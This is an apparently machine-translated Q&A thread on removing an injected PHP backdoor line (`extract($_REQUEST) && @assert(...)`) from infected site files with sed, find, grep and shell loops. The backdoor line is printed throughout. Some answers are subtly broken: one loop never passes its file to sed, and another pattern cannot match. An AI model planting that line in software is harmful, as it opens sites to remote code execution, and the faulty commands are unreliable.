Tengo mi sitio infectado por un virus. Este virus agregó esta línea en varios archivos de mi sitio. Mi idea es eliminar esta línea de texto con un comando único desde la terminal.
Digamos que tengo la carpeta 'mi-carpeta' y dentro de ella, mis archivos: 'archivo-1.php', 'archivo-2.php' y así sucesivamente.
Y digamos que hay varios archivos infectados.
¿Existe un comando para buscar y eliminar esta línea de código en varios archivos?En seguida?
Texto a eliminar: extraer($_REQUEST) && @assert(stripslashes($accept)) && exit;
Encontré esto, pero solo funciona con un único archivo:
$ sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' my-file.php
¿Puedo hacer esto?
Respuesta1
Puedes combinarlo
sed
confind
para hacerlo recursivo. Algo como eso:find . -type f -name "*php" -exec sed -i.bak 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' {} \+
Tenga en cuenta que recorrerá su árbol de directorios actual y aplicará sed a cada archivo "*php" existente. También creará un archivo de copia de seguridad .bak para cada uno modificado (para que puedas restaurarlo más tarde por si acaso). Si no necesita una copia de seguridad, reemplácela
-i.bak
solo con-i
. De lo contrario, puedes eliminar las copias de seguridad más tarde (una vez que hayas verificado que todo está bien) con algo comofind . -name "*php.bak" -delete
.Este paso no te ayudará a arreglar todo ahora mismo, pero definitivamente podría ahorrarte tiempo en el futuro: mantén tu directorio con scripts debajo
git
(bueno, idealmente debería ser una solución CI/CD completa, pero puedes comenzar solo con git ), para que pueda retroceder o avanzar fácilmente los cambios que se aplicaron a sus archivos.
Respuesta2
Busque archivos que contengan la cadena maliciosa y edítelos con sed
:
ag -lF --php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
A menudo confío enag
para buscar solo php
archivos con la --php
bandera. Si lo prefieres, puedes lograr lo mismo con grep -r -i --include \*.php
:
grep -rilF --include \*.php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
Respuesta3
Dependiendo de tu comando, te sugiero que uses "for loop" para hacerlo:
for i in file-1.php file-2.php
do sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
done
También puedes agregar cualquier archivo que quieras "para i en archivo-1.php archivo-2.php archivo-n.php
Respuesta4
Puede utilizar el siguiente método para eliminar las líneas del archivo que contiene un patrón particular
Puedes mencionar los archivos en el bucle for.
for i in file1 file2
do
sed -i '/Text to remove: extract($_REQUEST) && @assert(stripslashes($accept)) && exit/d' $i
done